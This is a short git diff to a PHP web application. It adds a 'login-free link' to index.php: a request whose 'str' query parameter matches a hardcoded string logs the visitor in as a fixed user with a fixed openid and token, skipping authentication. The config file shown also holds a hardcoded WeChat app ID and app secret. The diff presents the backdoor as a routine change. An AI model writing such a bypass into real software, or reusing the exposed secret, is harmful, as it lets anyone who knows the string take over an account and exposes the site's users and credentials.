diff --git a/config/define.php b/config/define.php index 1b4d021..3bafc3b 100644 --- a/config/define.php +++ b/config/define.php @@ -30,6 +30,7 @@ define('ADMIN_USER_OPEN', 1); define('ADMIN_USER_CLOSE', 2); + define('FREE_LOGIN_STR', '2c131fa45a19a7aa6d9d0123g'); define('WEIXIN_OPEN_APPID','wx68a1060c4ec4722f'); define('WEIXIN_OPEN_APPSCRET','9f8a1dd8352e1150a40ebf3262429f69'); define('WEIXIN_OPEN_GET_ACCESS_TOKEN','https://api.weixin.qq.com/sns/oauth2/access_token?appid=%s&secret=%s&code=%s&grant_type=authorization_code'); diff --git a/index.php b/index.php index e8e4bb1..1ec327b 100644 --- a/index.php +++ b/index.php @@ -65,6 +65,15 @@ error_reporting(E_ERROR); // 记录所有级别的错误 session_start(); session_write_close(); + //免登陆链接 + if($_GET['str'] == FREE_LOGIN_STR){ + session_start(); + $_SESSION['nickname'] = 'wpd'; + $_SESSION['openid'] = 'or-ec1PPqWGBywnl5guSMkAYBXko'; + $_SESSION['token'] = '1213'; + session_write_close(); + } + //登陆检查 $needlogin = true; if ($this->control_name == 'index') {